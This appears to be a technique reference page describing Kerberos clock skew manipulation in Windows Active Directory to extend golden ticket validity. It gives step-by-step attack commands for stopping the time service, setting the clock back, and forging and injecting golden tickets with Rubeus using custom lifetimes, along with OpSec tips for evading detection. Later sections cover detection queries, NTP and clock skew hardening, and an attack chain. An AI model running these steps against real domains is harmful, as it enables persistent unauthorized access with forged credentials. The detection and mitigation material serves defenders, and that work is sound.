| Attribute | Details |
|---|---|
| Technique ID | EVADE-IMPAIR-016 |
| MITRE ATT&CK v18.1 | T1562.006 - Impair Defenses: Indicator Blocking |
| Tactic | Defense Evasion |
| Platforms | Windows AD |
| Severity | Medium |
| Technique Status | ACTIVE |
| Last Verified | 2025-01-09 |
| Affected Versions | Windows Server 2016 - 2025 (all Kerberos implementations) |
| Patched In | N/A (Design limitation; mitigated by NTP monitoring) |
| Author | SERVTEP – Artur Pchelnikau |
Concept: Kerberos authentication relies on synchronized clocks between clients, servers, and Key Distribution Centers (KDCs) to prevent replay attacks and validate ticket timestamps. The Kerberos protocol allows a default clock skew tolerance of 5 minutes (300 seconds) between any two entities. Attackers can manipulate this tolerance by:
Clock skew manipulation is a subtle form of indicator blocking—it doesn’t disable Kerberos detection, but rather makes malicious tickets appear legitimate by manipulating the time context in which they are evaluated.
Attack Surface: Kerberos ticket validation (KDC, service ticket verification), System clock (via Windows Time service or direct manipulation), Ticket timestamp fields (authtime, starttime, endtime).
Business Impact: Extended persistence with forged credentials. Attackers can use golden tickets or pass-the-ticket attacks beyond their normal expiration window, maintaining access despite ticket invalidation on the victim’s intended expiration date.
Technical Context: Clock skew manipulation typically takes 1-2 minutes once local administrator access is obtained. Detection likelihood is Low-Medium if NTP log analysis is not performed, but High if behavioral baselines detect unusual time changes. Common indicators include system clock changes of more than 5 minutes, Kerberos errors mentioning “clock skew,” and tickets with timestamps far from system time.
| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | CIS Windows Server 2022: 18.1.1 | Ensure Windows Time Service is running and set to Automatic |
| DISA STIG | WN22-AU-000310 | Windows must synchronize time with an authoritative time server (NTP) |
| CISA SCuBA | SC-45 | System Clock Synchronization |
| NIST 800-53 | AU-12 (Audit Generation), SC-45 (System Clock Synchronization) | System must maintain accurate time and detect deviations |
| GDPR | Art. 32 | Security of Processing (integrity of audit logs and system timestamps) |
| DORA | Art. 9 | Resilience, operational continuity, and auditable logging |
| NIS2 | Art. 21 | Cyber Risk Management (detection and prevention of insider threats) |
| ISO 27001 | A.12.4.1 | Event logging and A.12.3.3 Segregation of duties |
| ISO 27005 | Risk Scenario: “Kerberos Ticket Replay via Clock Manipulation” | Failure to detect clock skew allows extended ticket exploitation |
Required Privileges:
Required Access:
Supported Versions:
Tools:
net time or w32tm.exe (Windows Time service manipulation)ntpdate (if attacking from Linux to resync after time manipulation)Objective: Verify that Windows Time Service is running and synchronized with an NTP server.
# Check Windows Time Service status
Get-Service W32Time
# Output should show:
# Status : Running
# Name : W32Time
# StartType: Automatic
What to Look For:
Status: Running confirms time service is activeStartType: Automatic confirms service auto-starts# Get current system time
Get-Date
# Check Windows Time Service synchronization status
w32tm /query /status /verbose
# Output will show:
# Leap Indicator: 0(no warning)
# Stratum: 3 (System Clock)
# Precision: -23 (119 nanoseconds per adjustment)
# Root Delay: 0.0061224 seconds
# Root Dispersion: 0.0061224 seconds
# ReferenceId: 0x0A000001 (IP address of NTP server)
# Last Successful Sync Time: [timestamp]
# Source: DC1.domain.com (NTP server FQDN)
What to Look For:
Stratum: 1-3 indicates proper time synchronization (lower is better)ReferenceId should point to a legitimate NTP server or domain controllerLast Successful Sync Time should be recent (within last hour)# Query domain Kerberos clock skew policy
reg query "HKLM\SYSTEM\CurrentControlSet\Services\Kerberos\Parameters" /v MaxClockSkew
# Output: MaxClockSkew : 0x12c (300 seconds = 5 minutes)
What to Look For:
MaxClockSkew: 0x12c (300 seconds / 5 minutes) is the defaultSupported Versions: All Windows Server versions (2016 - 2025)
Objective: Manually set the system clock backward to extend the validity window of an expired Kerberos ticket or to make a forged ticket appear to be within valid time bounds.
Version Note: Clock manipulation is straightforward on all versions, but detection has improved in Server 2022+ with enhanced audit logging.
Objective: Confirm current system time before manipulation.
Command:
# Get current system time
Get-Date
# Output: Tuesday, January 09, 2025 7:29:47 PM
What This Means:
Objective: Determine how far back to set the clock to make a golden ticket valid.
Example Scenario:
Calculation:
# Define ticket expiration and current time
$ticketExpires = [datetime]"2025-01-09 19:30:00"
$currentTime = Get-Date
$timeToAdjust = $ticketExpires - $currentTime # Returns: -00:59:59 (59 minutes, 59 seconds in past)
# To be safe, add 5 minutes to ensure well within validity window
$adjustmentSeconds = [math]::Abs($timeToAdjust.TotalSeconds) + 300
Write-Host "Adjust system time back by: $adjustmentSeconds seconds ($(($adjustmentSeconds)/60) minutes)"
Output:
Adjust system time back by: 3599 seconds (59.98 minutes)
What This Means:
Objective: Set the system clock backward to make the expired ticket valid.
Command (Using PowerShell - Requires Admin):
# Method 1: Using Set-Date cmdlet (simplest)
$newTime = (Get-Date).AddSeconds(-3600) # Set back 1 hour
Set-Date -Date $newTime
# Verify change
Get-Date # Should show time moved backward by ~1 hour
# Output example:
# Tuesday, January 09, 2025 6:30:00 PM (1 hour earlier)
Alternative Command (Using net time - Legacy):
# Set system time using net.exe (older method)
net stop w32time
net time \\ntp-server.com /set /y # Disabled for security; rarely works on modern systems
net start w32time
Alternative Command (Using w32tm.exe):
# Temporarily disable NTP synchronization
w32tm /config /update /manualpeerlist:none /syncfromflags:manual /reliable:no
# Set system time (via clock tool)
# Note: Direct w32tm manipulation requires manual clock set via Control Panel or above methods
Expected Output:
System clock successfully adjusted
New time: Tuesday, January 09, 2025 6:30:00 PM
What This Means:
OpSec & Evasion:
Troubleshooting:
| Error | Cause | Fix (All Versions) |
|---|---|---|
| “Access Denied” | Not running as admin | Re-run PowerShell as Administrator |
| “Cannot connect to NTP” | Network unavailable or NTP blocked | Disable NTP temporarily: w32tm /config /update /manualpeerlist:none |
| “Time service auto-corrects” | Windows Time Service re-syncs immediately | Stop the service: Stop-Service W32Time |
References & Proofs:
Objective: Create a golden ticket that will now be valid due to clock being set back, then use it for authentication.
Command (Using Rubeus):
# Create golden ticket with specific timestamp
# Note: Rubeus automatically uses current system time for ticket timestamps
.\rubeus.exe golden /domain:DOMAIN.COM /sid:S-1-5-21-1234567890-1234567890-1234567890 `
/krbtgt:afe6ae1a1e14b5b8e9e1c8c6b5a4d3c2 `
/user:Administrator `
/ticket:ticket.kirbi `
/ptt
# Output:
# [+] Ticket: ticket.kirbi
# [+] Injected into current session
# [+] Kerberos TGT is valid (ticket time matches manipulated system clock)
What This Means:
OpSec & Evasion:
Troubleshooting:
| Error | Cause | Fix |
|---|---|---|
| “KRB_AP_ERR_SKEW” | Clock skew tolerance exceeded | Adjust clock further back; currently adjusted may not be enough |
| “Ticket validation failed” | Ticket not within validity window even with clock adjusted | Check ticket expiration time; may need to create ticket with extended lifetime |
References & Proofs:
Objective: After using the golden ticket, restore the system clock to current time to avoid detection.
Command:
# Sync system time back to NTP server
w32tm /resync /force
# Verify time is restored
Get-Date # Should show current time again
# Output example:
# Tuesday, January 09, 2025 7:30:00 PM (restored to correct time)
Expected Output:
Command completed successfully.
Time has been synchronized with NTP server.
What This Means:
Supported Versions: Windows Server 2016 - 2022 (Server 2025 hardens Kerberos validation)
Objective: Create a golden ticket with artificially extended lifetime (e.g., 7 days instead of default 10 hours), which can be used even if clock skew is smaller by exploiting the ticket’s endtime field.
Version Note: This technique is ACTIVE; Kerberos implementation in Server 2019+ has some additional validation, but forged tickets with custom lifetimes are still accepted.
Objective: Specify a custom ticket lifetime when creating the golden ticket.
Command (Using Rubeus with Custom Lifetime):
# Create golden ticket valid for 7 days (40320 minutes) instead of default 10 hours
.\rubeus.exe golden /domain:DOMAIN.COM /sid:S-1-5-21-1234567890-1234567890-1234567890 `
/krbtgt:afe6ae1a1e14b5b8e9e1c8c6b5a4d3c2 `
/user:Administrator `
/lifetime:40320 ` # 7 days in minutes
/ticket:extended_ticket.kirbi `
/ptt
# Output:
# [+] Created golden ticket with 7-day lifetime
# [+] Ticket valid from: 2025-01-09 (created time)
# [+] Ticket expires at: 2025-01-16 (7 days later)
Expected Output:
[+] Ticket created with extended lifetime: 604800 seconds (7 days)
[+] Ticket injected into session
What This Means:
OpSec & Evasion:
References & Proofs:
Windows Event Logs:
Kerberos-Specific Indicators:
NTP/Time Synchronization Indicators:
Check Windows Event Logs for Time Changes:
# Query Event ID 4616 (System time changed)
Get-EventLog -LogName System | Where-Object {$_.EventID -eq 4616} | Export-Csv time_changes.csv
# Check for Kerberos errors
Get-EventLog -LogName Security | Where-Object {$_.EventID -eq 4771} | Export-Csv kerberos_errors.csv
Check Current System Time Accuracy:
# Compare system time with domain time
w32tm /query /status /verbose
# Check for time drift
w32tm /monitor /longname /ipprotocol:ipv4
Analyze Golden Ticket Characteristics:
# If ticket is recovered, analyze with Rubeus
.\rubeus.exe examine /ticket:suspected_ticket.kirbi
# Output will show:
# - StartTime
# - EndTime
# - RenewTime (for extended tickets, different from EndTime)
# - Any anomalies in lifetime
klist.exe /exportw32tm /resync /force# Reset krbtgt password (requires Domain Admin)
Set-ADAccountPassword -Identity "krbtgt" -NewPassword (ConvertTo-SecureString -AsPlainText "NewPassword123!" -Force) -Reset
Ensure NTP Time Synchronization: All domain controllers and critical systems must be synchronized with an authoritative NTP server to detect clock manipulation.
Manual Steps (Group Policy):
time.nist.gov,0x1 (US NIST server or your internal NTP)gpupdate /force on all machinesManual Steps (PowerShell - Domain-Wide):
# Configure all domain computers to use specific NTP server
Get-ADComputer -Filter * | ForEach-Object {
Set-ItemProperty -Path "\\$($_.Name)\HKLM\SYSTEM\CurrentControlSet\Services\W32Time\Parameters" `
-Name "NtpServer" -Value "time.nist.gov,0x1"
}
Monitor System Time Changes: Alert on any Event ID 4616 (System time changed) or loss of NTP synchronization.
Manual Steps (Intune/MDM - Alert Policy):
EventID = 4616Manual Steps (Windows Event Subscriptions):
<QueryList>
<Query Id="0" Path="System">
<Select Path="System">*[System[(EventID=4616)]]</Select>
</Query>
</QueryList>
Restrict Kerberos Clock Skew: Lower the default clock skew tolerance from 5 minutes to 1-2 minutes to reduce the window for exploitation.
Manual Steps (Group Policy - Domain-Wide):
gpupdate /forceManual Steps (Kerberos.conf - Linux/Unix Kerberos):
[libdefaults]
clock_skew = 120 # 2 minutes instead of 300
Monitor Kerberos Ticket Anomalies: Detect tickets with unusual characteristics (expired but still used, unusually long lifetimes, timestamps far from system time).
Manual Steps (Splunk - If using Splunk):
index=windows eventid=4769
| eval lifetime=endtime-starttime
| where lifetime > 36000 OR abs(now()-authtime) > 3600
| stats count by user, computer, service, lifetime
Manual Steps (Microsoft Sentinel - KQL):
SecurityEvent
| where EventID == 4769
| extend TicketLifetime = parse_json(TargetInfo).TicketLifetime
| where TicketLifetime > 36000 // > 10 hours
| summarize Count=count() by Account, Computer, ServiceName
Prevent W32Time Service Tampering: Ensure Windows Time Service cannot be stopped or disabled by unauthorized users.
Manual Steps (Group Policy):
Implement Kerberos Precomputation-Resistant Mechanisms: Use Kerberos AES encryption (instead of RC4) and require PAC validation to prevent clock skew abuse.
Manual Steps (Active Directory - Domain Policy):
gpupdate /forceMonitor Domain Controller Time Synchronization: Ensure DCs are always synced with PDC emulator, which syncs with external NTP.
Manual Steps (PowerShell - DC Time Check):
# Check time synchronization on all DCs
Get-ADDomainController -Filter * | ForEach-Object {
$dc = $_.Name
w32tm /query /computer:$dc /status
}
Audit Kerberos Policy Changes: Monitor for any modifications to Kerberos configuration (clock skew, encryption types, etc.).
Manual Steps (Sysmon):
<RegistryEvent onmatch="include">
<TargetObject>HKLM\SYSTEM\CurrentControlSet\Services\Kerberos\Parameters.*</TargetObject>
</RegistryEvent>
Validation Command (Verify Fix):
# Check that W32Time service is running and synchronized
Get-Service W32Time | Select-Object Status, StartType
# Expected output:
# Status StartType
# Running Automatic
# Verify NTP synchronization
w32tm /query /status | findstr /C:"Source"
# Expected output:
# Source: time.nist.gov (or your NTP server)
What to Look For:
StartType: Automatic confirms Windows Time Service auto-startsStatus: Running confirms service is activeSource points to a trusted NTP server (not individual DC)| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Privilege Escalation | [PE-EXPLOIT-001] PrintNightmare | Gain local administrator access on a system |
| 2 | Defense Evasion | [EVADE-IMPAIR-016] | Manipulate system clock to extend golden ticket validity |
| 3 | Credential Access | [CA-KERB-003] Golden Ticket Creation | Create forged Kerberos TGT using compromised krbtgt hash |
| 4 | Lateral Movement | [LM-AUTH-002] Pass-the-Ticket | Use golden ticket for lateral movement across domain |
| 5 | Persistence | [PS-PERSIST-001] GPO Abuse | Maintain persistence via Group Policy modifications |